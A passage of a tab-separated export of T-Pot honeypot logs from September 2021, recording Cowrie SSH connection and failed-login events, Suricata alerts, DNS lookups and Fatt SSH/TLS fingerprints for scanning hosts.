2 seconds", "session": "dd02484bec21", "@version": "1", "duration": 2.2176599502563477, "timestamp": "2021-09-20T12:00:50.119931Z", "@timestamp": "2021-09-20T12:00:50.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
34496	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:01:04.974112+03	2021-09-20 15:15:01.963655+03	{"_id": "EAYUA3wBvYTbRNuExVaR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "961b98882130", "@version": "1", "timestamp": "2021-09-20T12:01:04.974112Z", "@timestamp": "2021-09-20T12:01:04.974Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	FR
34497	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:01:05.247676+03	2021-09-20 15:15:01.966656+03	{"_id": "EQYUA3wBvYTbRNuExVaR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.login.failed", "message": "login attempt [root/karim] failed", "session": "961b98882130", "@version": "1", "password": "karim", "username": "root", "timestamp": "2021-09-20T12:01:05.247676Z", "@timestamp": "2021-09-20T12:01:05.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	FR
34498	163.172.167.225	109.199.241.180	Suricata	2021-09-20 15:01:04.973519+03	2021-09-20 15:15:01.969655+03	{"_id": "EgYUA3wBvYTbRNuExlau", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "flow_id": 1883368794917008, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33090, "dest_port": 22, "timestamp": "2021-09-20T12:01:04.973519Z", "@timestamp": "2021-09-20T12:01:04.973Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	FR
34500	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:01:06.297607+03	2021-09-20 15:15:01.972655+03	{"_id": "FwYUA3wBvYTbRNuEyVZ6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "961b98882130", "@version": "1", "duration": 1.364351511001587, "timestamp": "2021-09-20T12:01:06.297607Z", "@timestamp": "2021-09-20T12:01:06.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	FR
34501	192.168.20.103	109.199.241.180	Suricata	2021-09-20 15:01:05.974978+03	2021-09-20 15:15:01.973656+03	{"_id": "GAYUA3wBvYTbRNuEylaW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.103", "stream": 0, "dest_ip": "224.0.0.1", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:01:05.974978Z", "@timestamp": "2021-09-20T12:01:05.974Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34502	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:01:04.930452+03	2021-09-20 15:15:01.974656+03	{"_id": "DwYUA3wBvYTbRNuExVaR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 163.172.167.225:33090 (192.168.176.2:22) [session: 961b98882130]", "session": "961b98882130", "@version": "1", "protocol": "ssh", "src_port": 33090, "dest_port": 22, "timestamp": "2021-09-20T12:01:04.930452Z", "@timestamp": "2021-09-20T12:01:04.930Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	FR
34503	163.172.167.225	109.199.241.180	Suricata	2021-09-20 15:01:04.973708+03	2021-09-20 15:15:01.975657+03	{"_id": "EwYUA3wBvYTbRNuExlau", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:01:04.886928+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "163.172.167.225", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1883368794917008, "payload": "AAADzAYUWZ6+s2WVBT80QQVusqNeYgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33090, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:01:04.973708Z", "@timestamp": "2021-09-20T12:01:04.973Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......Y...e..?4A.n..^b...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	FR
34504	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:01:04.934212+03	2021-09-20 15:15:01.977655+03	{"_id": "FQYUA3wBvYTbRNuEx1a2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "163.172.167.225", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33090, "timestamp": "2021-09-20T12:01:04.934212", "@timestamp": "2021-09-20T12:01:04.934Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34505	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:00:54.856801+03	2021-09-20 15:15:01.978656+03	{"_id": "_AYUA3wBvYTbRNuEn1Wa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 22926, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1253683638964961, "@version": "1", "in_iface": "enp5s0", "src_port": 58591, "dest_port": 53, "timestamp": "2021-09-20T12:00:54.856801Z", "@timestamp": "2021-09-20T12:00:54.856Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34506	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:00:54.858337+03	2021-09-20 15:15:01.979655+03	{"_id": "-QYUA3wBvYTbRNuEn1WZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 22926, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2620, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1253683638964961, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 58591, "timestamp": "2021-09-20T12:00:54.858337Z", "@timestamp": "2021-09-20T12:00:54.858Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
34507	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:00:55.307475+03	2021-09-20 15:15:01.981656+03	{"_id": "_wYUA3wBvYTbRNuEoFWi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35958, "timestamp": "2021-09-20T12:00:55.307475", "@timestamp": "2021-09-20T12:00:55.307Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
34508	195.24.88.8	109.199.241.180	Suricata	2021-09-20 15:00:55.219651+03	2021-09-20 15:15:01.982657+03	{"_id": "-wYUA3wBvYTbRNuEn1Wa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1248, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2619, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 741036342596811, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 43594, "timestamp": "2021-09-20T12:00:55.219651Z", "@timestamp": "2021-09-20T12:00:55.219Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	BG
34509	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:00:54.960281+03	2021-09-20 15:15:01.984656+03	{"_id": "_gYUA3wBvYTbRNuEoFWi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35956, "timestamp": "2021-09-20T12:00:54.960281", "@timestamp": "2021-09-20T12:00:54.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
34510	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:00:55.218315+03	2021-09-20 15:15:01.985657+03	{"_id": "-gYUA3wBvYTbRNuEn1WZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 1248, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 741036342596811, "@version": "1", "in_iface": "enp5s0", "src_port": 43594, "dest_port": 53, "timestamp": "2021-09-20T12:00:55.218315Z", "@timestamp": "2021-09-20T12:00:55.218Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
34511	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:00:54.918159+03	2021-09-20 15:15:01.987655+03	{"_id": "AAYUA3wBvYTbRNuEoFai", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35956, "dest_port": 443, "timestamp": "2021-09-20T12:00:54.918159", "@timestamp": "2021-09-20T12:00:54.918Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34512	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:00:55.267464+03	2021-09-20 15:15:01.988656+03	{"_id": "_QYUA3wBvYTbRNuEoFWi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35958, "dest_port": 443, "timestamp": "2021-09-20T12:00:55.267464", "@timestamp": "2021-09-20T12:00:55.267Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
34513	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 15:01:04.933566+03	2021-09-20 15:15:01.989655+03	{"_id": "DgYUA3wBvYTbRNuExVaR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "961b98882130", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:01:04.933566Z", "@timestamp": "2021-09-20T12:01:04.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	FR
34514	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:01:30.315834+03	2021-09-20 15:15:01.990655+03	{"_id": "OgYVA3wBvYTbRNuEJ1ZC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:38396 (192.168.176.2:22) [session: 48dba8486019]", "session": "48dba8486019", "@version": "1", "protocol": "ssh", "src_port": 38396, "dest_port": 22, "timestamp": "2021-09-20T12:01:30.315834Z", 